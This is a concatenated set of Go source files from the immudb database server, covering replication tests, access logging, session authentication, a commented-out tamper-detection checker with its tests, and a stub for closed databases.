NewTxReplicator(xid.New(), db, rOpts, logger) require.NoError(t, err) err = txReplicator.Stop() require.ErrorIs(t, err, ErrAlreadyStopped) err = txReplicator.Start() require.NoError(t, err) err = txReplicator.Start() require.ErrorIs(t, err, ErrAlreadyRunning) err = txReplicator.Stop() require.NoError(t, err) } func TestReplicationIsAbortedOnServerVersionMismatch(t *testing.T) { path := t.TempDir() clientMock := &immuClientMock{} rOpts := DefaultOptions(). WithPrimaryDatabase("defaultdb"). WithPrimaryHost("127.0.0.1"). WithPrimaryPort(3322). WithPrimaryUsername("immudb"). WithPrimaryPassword("immudb"). WithStreamChunkSize(DefaultChunkSize). WithClientFactoryFunc(func(s string, i int) client.ImmuClient { return &immuClientMock{} }) logger := logger.NewSimpleLogger("logger", os.Stdout) db, err := database.NewDB("replicated_defaultdb", nil, database.DefaultOptions().AsReplica(true).WithDBRootPath(path), logger) require.NoError(t, err) txReplicator, err := NewTxReplicator(xid.New(), db, rOpts, logger) txReplicator.client = clientMock require.NoError(t, err) err = txReplicator.Start() require.NoError(t, err) time.Sleep(time.Millisecond * 10) // make sure replication stopped err = txReplicator.Stop() require.ErrorIs(t, err, ErrAlreadyStopped) require.ErrorIs(t, txReplicator.Error(), ErrPrimaryServerVersionMismatch) } type immuClientMock struct { client.ImmuClient } func (c *immuClientMock) OpenSession(ctx context.Context, user []byte, pass []byte, database string) (err error) { return nil } func (c *immuClientMock) ServerInfo(ctx context.Context, req *schema.ServerInfoRequest) (*schema.ServerInfoResponse, error) { return &schema.ServerInfoResponse{ Version: "test", }, nil } func (c *immuClientMock) CloseSession(ctx context.Context) error { return nil } ================================================ FILE: pkg/server/access_log_interceptor.go ================================================ package server import ( "context" "time" "google.golang.org/grpc" ) func (s *ImmuServer) AccessLogStreamInterceptor(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error { start := time.Now() err := handler(srv, ss) _ = s.logAccess(ss.Context(), info.FullMethod, time.Since(start), err) return err } func (s *ImmuServer) AccessLogInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { start := time.Now() res, err := handler(ctx, req) _ = s.logAccess(ctx, info.FullMethod, time.Since(start), err) return res, err } func (s *ImmuServer) logAccess(ctx context.Context, method string, rpcDuration time.Duration, rpcErr error) error { if !s.Options.LogAccess { return nil } var username string _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err == nil { username = user.Username } ip := ipAddrFromContext(ctx) if rpcErr == nil { s.Logger.Infof("user=%s,ip=%s,method=%s,duration=%s", username, ip, method, rpcDuration.String()) } else { s.Logger.Infof("user=%s,ip=%s,method=%s,duration=%s,error=%s", username, ip, method, rpcDuration.String(), rpcErr) } return nil } ================================================ FILE: pkg/server/access_log_interceptor_test.go ================================================ package server import ( "context" "fmt" "net" "testing" "github.com/codenotary/immudb/pkg/auth" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/peer" ) func TestAccessLogInterceptors(t *testing.T) { opts := DefaultOptions(). WithDir(t.TempDir()). WithLogAccess(true). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) s := DefaultServer().WithOptions(opts).(*ImmuServer) defer s.CloseDatabases() logger := &mockLogger{captureLogs: true} s.WithLogger(logger) err := s.Initialize() require.NoError(t, err) ctx := peer.NewContext(context.Background(), &peer.Peer{Addr: &net.IPAddr{IP: net.IPv4(192, 168, 1, 1)}}) t.Run("unary interceptor", func(t *testing.T) { called := false _, err := s.AccessLogInterceptor(ctx, nil, &grpc.UnaryServerInfo{FullMethod: "testMethod"}, func(ctx context.Context, req interface{}) (interface{}, error) { called = true return nil, nil }) require.NoError(t, err) require.True(t, called) require.NotEmpty(t, logger.logs) lastLine := logger.logs[len(logger.logs)-1] require.Contains(t, lastLine, "ip=192.168.1.1") require.Contains(t, lastLine, "user=,") require.Contains(t, lastLine, "method=testMethod") require.NotContains(t, lastLine, "error=") }) t.Run("streaming interceptor", func(t *testing.T) { called := false err := s.AccessLogStreamInterceptor(nil, &mockServerStream{ctx: ctx}, &grpc.StreamServerInfo{FullMethod: "testMethod"}, func(srv interface{}, stream grpc.ServerStream) error { called = true return fmt.Errorf("test error") }) require.Error(t, err) require.True(t, called) require.NotEmpty(t, logger.logs) lastLine := logger.logs[len(logger.logs)-1] require.Contains(t, lastLine, "ip=192.168.1.1") require.Contains(t, lastLine, "user=,") require.Contains(t, lastLine, "method=testMethod") require.Contains(t, lastLine, "error=test error") }) } ================================================ FILE: pkg/server/authorization_operations.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "math" "time" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" "google.golang.org/protobuf/types/known/emptypb" ) const infinity = time.Duration(math.MaxInt64) type authenticationServiceImp struct { server *ImmuServer } func (s *authenticationServiceImp) OpenSession(ctx context.Context, loginReq *protomodel.OpenSessionRequest) (*protomodel.OpenSessionResponse, error) { session, err := s.server.OpenSession(ctx, &schema.OpenSessionRequest{ Username: []byte(loginReq.Username), Password: []byte(loginReq.Password), DatabaseName: loginReq.Database, }) if err != nil { return nil, err } expirationTimestamp := int32(0) inactivityTimestamp := int32(0) now := time.Now() if s.server.Options.SessionsOptions.MaxSessionInactivityTime > 0 { inactivityTimestamp = int32(now.Add(s.server.Options.SessionsOptions.MaxSessionInactivityTime).Unix()) } if s.server.Options.SessionsOptions.MaxSessionAgeTime > 0 && s.server.Options.SessionsOptions.MaxSessionAgeTime != infinity { expirationTimestamp = int32(now.Add(s.server.Options.SessionsOptions.MaxSessionAgeTime).Unix()) } return &protomodel.OpenSessionResponse{ SessionID: session.SessionID, ServerUUID: session.ServerUUID, ExpirationTimestamp: expirationTimestamp, InactivityTimestamp: inactivityTimestamp, }, nil } func (s *authenticationServiceImp) KeepAlive(ctx context.Context, _ *protomodel.KeepAliveRequest) (*protomodel.KeepAliveResponse, error) { _, err := s.server.KeepAlive(ctx, &emptypb.Empty{}) if err != nil { return nil, err } return &protomodel.KeepAliveResponse{}, nil } func (s *authenticationServiceImp) CloseSession(ctx context.Context, _ *protomodel.CloseSessionRequest) (*protomodel.CloseSessionResponse, error) { _, err := s.server.CloseSession(ctx, &emptypb.Empty{}) if err != nil { return nil, err } return &protomodel.CloseSessionResponse{}, nil } ================================================ FILE: pkg/server/corruption_checker.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server /* // ErrConsistencyFail happens when a consistency check fails. Check the log to retrieve details on which element is failing const ErrConsistencyFail = "consistency check fail at index %d" type CCOptions struct { singleiteration bool iterationSleepTime time.Duration frequencySleepTime time.Duration } type corruptionChecker struct { options CCOptions dbList DatabaseList Logger logger.Logger exit bool muxit sync.Mutex Trusted bool mux sync.Mutex currentDbIndex int rg RandomGenerator } // CorruptionChecker corruption checker interface type CorruptionChecker interface { Start(context.Context) (err error) Stop() GetStatus() bool } // NewCorruptionChecker returns new trust checker service func NewCorruptionChecker(opt CCOptions, d DatabaseList, l logger.Logger, rg RandomGenerator) CorruptionChecker { return &corruptionChecker{ options: opt, dbList: d, Logger: l, exit: false, Trusted: true, currentDbIndex: 0, rg: rg, } } // Start start the trust checker loop func (s *corruptionChecker) Start(ctx context.Context) (err error) { s.Logger.Debugf("Start scanning ...") for { s.mux.Lock() err = s.checkLevel0(ctx) s.mux.Unlock() if err != nil || s.isTerminated() || s.options.singleiteration { return err } time.Sleep(s.options.iterationSleepTime) } } func (s *corruptionChecker) isTerminated() bool { s.muxit.Lock() defer s.muxit.Unlock() return s.exit } // Stop stop the trust checker loop func (s *corruptionChecker) Stop() { s.muxit.Lock() s.exit = true s.muxit.Unlock() s.Logger.Infof("Waiting for consistency checker to shut down") s.mux.Lock() } func (s *corruptionChecker) checkLevel0(ctx context.Context) (err error) { if s.currentDbIndex == s.dbList.Length() { s.currentDbIndex = 0 } db := s.dbList.GetByIndex(int64(s.currentDbIndex)) s.currentDbIndex++ var r *schema.Root s.Logger.Debugf("Retrieving a fresh root ...") if r, err = db.CurrentRoot(); err != nil { s.Logger.Errorf("Error retrieving root: %s", err) return } if r.GetRoot() == nil { s.Logger.Debugf("Immudb is empty ...") } else { // create a shuffle range with all indexes presents in immudb ids := s.rg.getList(0, r.GetIndex()) s.Logger.Debugf("Start scanning %d elements", len(ids)) for _, id := range ids { if s.isTerminated() { return } var item *schema.VerifiedTx if item, err = db.BySafeIndex(&schema.SafeIndexOptions{ Index: id, RootIndex: &schema.Index{ Index: r.GetIndex(), }, }); err != nil { if err == store.ErrInconsistentDigest { auth.IsTampered = true s.Logger.Errorf("insertion order index %d was tampered", id) return } s.Logger.Errorf("Error retrieving element at index %d: %s", id, err) return } //verified := item.Proof.Verify(item.Item.Value, *r) verified := item != nil s.Logger.Debugf("Item index %d, verified %t", item.Tx.Metadata.Id, verified) if !verified { s.Trusted = false auth.IsTampered = true s.Logger.Errorf(ErrConsistencyFail, item.Tx.Metadata.Id) return } time.Sleep(s.options.frequencySleepTime) } } return nil } // GetStatus return status of the trust checker. False means that a consistency checks was failed func (s *corruptionChecker) GetStatus() bool { return s.Trusted } */ /* type cryptoRandSource struct{} func newCryptoRandSource() cryptoRandSource { return cryptoRandSource{} } func (cryptoRandSource) Int63() int64 { var b [8]byte _, _ = rand.Read(b[:]) return int64(binary.LittleEndian.Uint64(b[:]) & (1<<63 - 1)) } func (cryptoRandSource) Seed(_ int64) {} */ /* type randomGenerator struct{} type RandomGenerator interface { getList(uint64, uint64) []uint64 } func (rg randomGenerator) getList(start, end uint64) []uint64 { ids := make([]uint64, end-start+1) var i uint64 for i = start; i <= end; i++ { ids[i] = i } rn := mrand.New(newCryptoRandSource()) // shuffle indexes rn.Shuffle(len(ids), func(i, j int) { ids[i], ids[j] = ids[j], ids[i] }) return ids } */ ================================================ FILE: pkg/server/corruption_checker_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import "fmt" /* import ( "testing" "github.com/codenotary/immudb/embedded/logger" ) func makeDb() (database.DB, func()) { dbName := "EdithPiaf" + strconv.FormatInt(time.Now().UnixNano(), 10) options := database.DefaultOption().WithDbName(dbName).WithInMemoryStore(true).WithCorruptionChecker(false) db, err := database.NewDb(options, logger.NewSimpleLogger("immudb ", os.Stderr)) if err != nil { log.Fatalf("Error creating Db instance %s", err) } return db, func() { if err := db.Close(); err != nil { log.Fatal(err) } if err := os.RemoveAll(options.GetDbName()); err != nil { log.Fatal(err) } } } func TestEmptyDBCorruptionChecker(t *testing.T) { var err error dbList := NewDatabaseList() db, _ := makeDb() dbList.Append(db) cco := CCOptions{} cco.iterationSleepTime = 1 * time.Millisecond cco.frequencySleepTime = 1 * time.Millisecond cco.singleiteration = true cc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGenerator{}) err = cc.Start(context.Background()) for i := 0; i < dbList.Length(); i++ { val := dbList.GetByIndex(int64(i)) val.Close() } assert.NoError(t, err) } func TestCorruptionChecker(t *testing.T) { var err error dbList := NewDatabaseList() db, _ := makeDb() kv := &schema.KeyValue{ Key: []byte(strconv.FormatUint(1, 10)), Value: []byte(strconv.FormatUint(2, 10)), } db.Set(kv) dbList.Append(db) time.Sleep(500 * time.Millisecond) cco := CCOptions{} cco.iterationSleepTime = 1 * time.Millisecond cco.frequencySleepTime = 1 * time.Millisecond cco.singleiteration = true cc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGenerator{}) err = cc.Start(context.Background()) for i := 0; i < dbList.Length(); i++ { val := dbList.GetByIndex(int64(i)) val.Close() } assert.NoError(t, err) } func TestCorruptionCheckerOnTamperInsertionOrderIndexDb(t *testing.T) { var err error defer os.RemoveAll("test") dbList := NewDatabaseList() options := database.DefaultOption().WithDbName("test").WithDbRootPath("test") db, err := database.NewDb(options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) k := []byte(strconv.FormatUint(1, 10)) v := []byte(strconv.FormatUint(2, 10)) kv := &schema.KeyValue{ Key: k, Value: v, } if _, err = db.Set(kv); err != nil { log.Fatal(err) } db.Close() // Tampering opts := badger.DefaultOptions("test/test").WithLogger(nil) dbb, err := badger.OpenManaged(opts) require.NoError(t, err) txn := dbb.NewTransactionAt(math.MaxUint64, true) defer txn.Discard() item, err := txn.Get(k) require.NoError(t, err) value, err := item.ValueCopy(nil) require.NoError(t, err) ts := binary.BigEndian.Uint64(value[:8]) v1 := append(value[:8], []byte(strconv.FormatUint(3, 10))...) if err := txn.Set(k, v1); err != nil { log.Fatal(err) } if err := txn.CommitAt(ts, nil); err != nil { log.Fatal(err) } dbb.Close() // End Tampering db1, err := database.OpenDb(options, logger.NewSimpleLogger("immudb ", os.Stderr)) assert.NoError(t, err) dbList.Append(db1) time.Sleep(500 * time.Millisecond) cco := CCOptions{} cco.iterationSleepTime = 1 * time.Millisecond cco.frequencySleepTime = 1 * time.Millisecond cco.singleiteration = true cc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGenerator{}) err = cc.Start(context.Background()) for i := 0; i < dbList.Length(); i++ { val := dbList.GetByIndex(int64(i)) val.Close() } assert.Error(t, err) } func TestCorruptionCheckerOnTamperDbInconsistentState(t *testing.T) { var err error defer os.RemoveAll("test") dbList := NewDatabaseList() options := database.DefaultOption().WithDbName("test").WithDbRootPath("test") db, err := database.NewDb(options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) k := []byte(strconv.FormatUint(1, 10)) v := []byte(strconv.FormatUint(2, 10)) kv := &schema.KeyValue{ Key: k, Value: v, } if _, err = db.Set(kv); err != nil { log.Fatal(err) } db.Close() // Tampering opts := badger.DefaultOptions("test/test").WithLogger(nil) dbb, err := badger.OpenManaged(opts) require.NoError(t, err) txn := dbb.NewTransactionAt(math.MaxUint64, true) defer txn.Discard() item, err := txn.Get(treeKey(0, 0)) require.NoError(t, err) ts := item.Version() v1 := []byte(strconv.FormatUint(3, 10)) if err := txn.Set(item.Key(), v1); err != nil { log.Fatal(err) } if err := txn.CommitAt(ts, nil); err != nil { log.Fatal(err) } dbb.Close() // End Tampering db1, err := database.OpenDb(options, logger.NewSimpleLogger("immudb ", os.Stderr)) assert.NoError(t, err) dbList.Append(db1) time.Sleep(500 * time.Millisecond) cco := CCOptions{} cco.iterationSleepTime = 1 * time.Millisecond cco.frequencySleepTime = 1 * time.Millisecond cco.singleiteration = true cc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGenerator{}) err = cc.Start(context.Background()) for i := 0; i < dbList.Length(); i++ { val := dbList.GetByIndex(int64(i)) val.Close() } assert.Error(t, err) } func TestCorruptionCheckerOnTamperDb(t *testing.T) { var err error defer os.RemoveAll("test") dbList := NewDatabaseList() options := database.DefaultOption().WithDbName("test").WithDbRootPath("test") db, err := database.NewDb(options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) k := []byte(strconv.FormatUint(1, 10)) v := []byte(strconv.FormatUint(2, 10)) kv := &schema.KeyValue{ Key: k, Value: v, } if _, err = db.Set(kv); err != nil { log.Fatal(err) } k1 := []byte(strconv.FormatUint(3, 10)) v1 := []byte(strconv.FormatUint(4, 10)) kv1 := &schema.KeyValue{ Key: k1, Value: v1, } if _, err = db.Set(kv1); err != nil { log.Fatal(err) } db.Close() // Tampering opts := badger.DefaultOptions("test/test").WithLogger(nil) dbb, err := badger.OpenManaged(opts) require.NoError(t, err) txn := dbb.NewTransactionAt(math.MaxUint64, true) defer txn.Discard() item, err := txn.Get(treeKey(0, 0)) require.NoError(t, err) ts := item.Version() v1 = []byte(`QWERTYUIOPASDFGHJKLZXCBVBN123456fake root`) if err := txn.Set(item.Key(), v1); err != nil { log.Fatal(err) } if err := txn.CommitAt(ts, nil); err != nil { log.Fatal(err) } dbb.Close() // End Tampering db1, err := database.OpenDb(options, logger.NewSimpleLogger("immudb ", os.Stderr)) assert.NoError(t, err) dbList.Append(db1) time.Sleep(500 * time.Millisecond) cco := CCOptions{} cco.iterationSleepTime = 1 * time.Millisecond cco.frequencySleepTime = 1 * time.Millisecond cco.singleiteration = true cc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGeneratorMock{}) err = cc.Start(context.Background()) assert.NoError(t, err) for i := 0; i < dbList.Length(); i++ { val := dbList.GetByIndex(int64(i)) val.Close() } assert.False(t, cc.GetStatus()) } type randomGeneratorMock struct{} func (rg randomGeneratorMock) getList(start, end uint64) []uint64 { ids := make([]uint64, 1) ids[0] = 1 return ids } func TestCorruptionChecker_Stop(t *testing.T) { defer os.RemoveAll("test") dbList := NewDatabaseList() options := database.DefaultOption().WithDbName("test").WithDbRootPath("test") db1, _ := database.NewDb(options, logger.NewSimpleLogger("immudb ", os.Stderr)) dbList.Append(db1) time.Sleep(500 * time.Millisecond) cco := CCOptions{} cco.iterationSleepTime = 1 * time.Millisecond cco.frequencySleepTime = 1 * time.Millisecond cco.singleiteration = true cc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGenerator{}) cc.Start(context.Background()) for i := 0; i < dbList.Length(); i++ { val := dbList.GetByIndex(int64(i)) val.Close() } cc.Stop() assert.True(t, cc.GetStatus()) } func TestCorruptionChecker_ExitImmediatly(t *testing.T) { var err error dbList := NewDatabaseList() db, _ := makeDb() kv := &schema.KeyValue{ Key: []byte(strconv.FormatUint(1, 10)), Value: []byte(strconv.FormatUint(2, 10)), } db.Set(kv) dbList.Append(db) time.Sleep(500 * time.Millisecond) cco := CCOptions{} cco.iterationSleepTime = 1 * time.Millisecond cco.frequencySleepTime = 1 * time.Millisecond cco.singleiteration = true cc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGenerator{}) err = cc.Start(context.Background()) cc.Stop() for i := 0; i < dbList.Length(); i++ { val := dbList.GetByIndex(int64(i)) val.Close() } assert.NoError(t, err) } func treeKey(layer uint8, index uint64) []byte { k := make([]byte, 1+1+8) k[0] = 0 k[1] = layer binary.BigEndian.PutUint64(k[2:], index) return k } func TestInt63(t *testing.T) { rand := newCryptoRandSource() n := rand.Int63() if n == 0 { t.Fatal("cryptorand source failed") } } func makeDB(dir string) *badger.DB { opts := badger.DefaultOptions(dir). WithLogger(nil) db, err := badger.OpenManaged(opts) if err != nil { fmt.Fprintln(os.Stderr, err) os.Exit(1) } return db } */ type mockLogger struct { captureLogs bool logs []string } func (l *mockLogger) Errorf(f string, v ...interface{}) { l.log("ERROR", f, v...) } func (l *mockLogger) Warningf(f string, v ...interface{}) { l.log("WARN", f, v...) } func (l *mockLogger) Infof(f string, v ...interface{}) { l.log("INFO", f, v...) } func (l *mockLogger) Debugf(f string, v ...interface{}) { l.log("DEBUG", f, v...) } func (l *mockLogger) Close() error { return nil } func (l *mockLogger) log(level, f string, v ...interface{}) { if l.captureLogs { l.logs = append(l.logs, level+": "+fmt.Sprintf(f, v...)) } } /* func TestCryptoRandSource_Seed(t *testing.T) { cs := newCryptoRandSource() cs.Seed(678) } */ ================================================ FILE: pkg/server/db_dummy_closed.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "crypto/sha256" "path/filepath" "time" "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/database" ) // work-around until a DBManager is in-place, taking care of all db-related stuff type closedDB struct { name string opts *database.Options } func (db *closedDB) GetName() string { return db.name } func (db *closedDB) GetOptions() *database.Options { return db.opts } func (db *closedDB) Path() string { return filepath.Join(db.opts.GetDBRootPath(), db.GetName()) } func (db *closedDB) AsReplica(asReplica, syncReplication bool, syncAcks int) { } func (db *closedDB) IsReplica() bool { return false } func (db *closedDB) IsSyncReplicationEnabled() bool { return false } func (db *closedDB) SetSyncReplication(enabled bool) { } func (db *closedDB) MaxResultSize() int { return 1000 } func (db *closedDB) UseTimeFunc(timeFunc store.TimeFunc) error { return store.ErrAlreadyClosed } func (db *closedDB) Health() (waitingCount int, lastReleaseAt time.Time) { return } func (db *closedDB) CurrentState() (*schema.ImmutableState, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) Size() (uint64, error) { return 0, store.ErrAlreadyClosed } func (db *closedDB) TxCount() (uint64, error) { return 0, store.ErrAlreadyClosed } func (db *closedDB) Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) ExecAll(ctx context.Context, operations *schema.ExecAllRequest) (*schema.TxHeader, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) CountAll(ctx context.Context) (*schema.EntryCount, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) NewSQLTx(ctx context.Context, _ *sql.TxOptions) (*sql.SQLTx, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) SQLExec(ctx context.Context, tx *sql.SQLTx, req *schema.SQLExecRequest) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { return nil, nil, store.ErrAlreadyClosed } func (db *closedDB) SQLExecPrepared(ctx context.Context, tx *sql.SQLTx, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { return nil, nil, store.ErrAlreadyClosed } func (db *closedDB) InferParameters(ctx context.Context, tx *sql.SQLTx, sql string) (map[string]sql.SQLValueType, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.SQLStmt) (map[string]sql.SQLValueType, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (sql.RowReader, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) SQLQueryAll(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) ([]*sql.Row, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) ListTables(ctx context.Context, tx *sql.SQLTx) (*schema.SQLQueryResult, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) DescribeTable(ctx context.Context, tx *sql.SQLTx, table string) (*schema.SQLQueryResult, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error { return store.ErrAlreadyClosed } func (db *closedDB) WaitForIndexingUpto(ctx context.Context, txID uint64) error { return store.ErrAlreadyClosed } func (db *closedDB) TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) { return nil, 0, mayCommitUpToAlh, store.ErrAlreadyClosed } func (db *closedDB) ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*schema.TxHeader, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) AllowCommitUpto(txID uint64, alh [sha256.Size]byte) error { return store.ErrAlreadyClosed } func (db *closedDB) DiscardPrecommittedTxsSince(txID uint64) error { return store.ErrAlreadyClosed } func (db *closedDB) VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) { return nil, store.ErrAlreadyClosed } func (db *closedDB) FlushIndex(req *schema.FlushIndexRequest) error { return store.ErrAlreadyClosed } func (db *closedDB) CompactIndex() error { return store.ErrAlreadyClosed } func (db *closedDB) IsClosed() bool { return true } func (db *closedDB) Close() error { return store.ErrAlreadyClosed } func (db *closedDB) Truncate(ts time.Duration) error { return store.ErrAlreadyClosed } // CreateCollection creates a new collection func (d *closedDB) CreateCollection(ctx context.Context, username string, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) { return nil, store.ErrAlreadyClosed } // GetCollection returns the collection schema func (d *closedDB) GetCollection(ctx context.Context, req *protomodel.GetCollectionRequest) (*protomodel.GetCollectionResponse, error) { return nil, store.ErrAlreadyClosed } func (d *closedDB) GetCollections(ctx context.Context, req *protomodel.GetCollectionsRequest) (*protomodel.GetCollectionsResponse, error) { return nil, store.ErrAlreadyClosed } func (d *closedDB) UpdateCollection(ctx context.Context, username string, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) { return nil, store.ErrAlreadyClosed } func (d *closedDB) DeleteCollection(ctx context.Context, username string, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) { return nil, store.ErrAlreadyClosed } func (d *closedDB) AddField(ctx context.Context, username string, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) { return nil, store.ErrAlreadyClosed } func (d *closedDB) RemoveField(ctx context.Context, username string, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) { return nil, store.ErrAlreadyClosed } func (d *closedDB) CreateIndex(ctx context.Context, username string, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) { return nil, store.ErrAlreadyClosed } func (d *closedDB) DeleteIndex(ctx context.Context, username string, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) { return nil, store.ErrAlreadyClosed } func (d *closedDB) InsertDocuments(ctx context.Context, username string, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) { return nil, store.ErrAlreadyClosed } func (d *closedDB) ReplaceDocuments(ctx context.Context, username string, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) { return nil, store.ErrAlreadyClosed } func (d *closedDB) AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) { return nil, store.ErrAlreadyClosed } func (d *closedDB) SearchDocuments(ctx context.Context, query *protomodel.Query, offset int64) (document.DocumentReader, error) { return nil, store.ErrAlreadyClosed } func (d *closedDB) CountDocuments(ctx context.Context, req *protomodel.CountDocumentsRequest) (*protomodel.CountDocumentsResponse, error) { return nil, store.ErrAlreadyClosed } func (d *closedDB) ProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error) { return nil, store.ErrAlreadyClosed } func (d *closedDB) 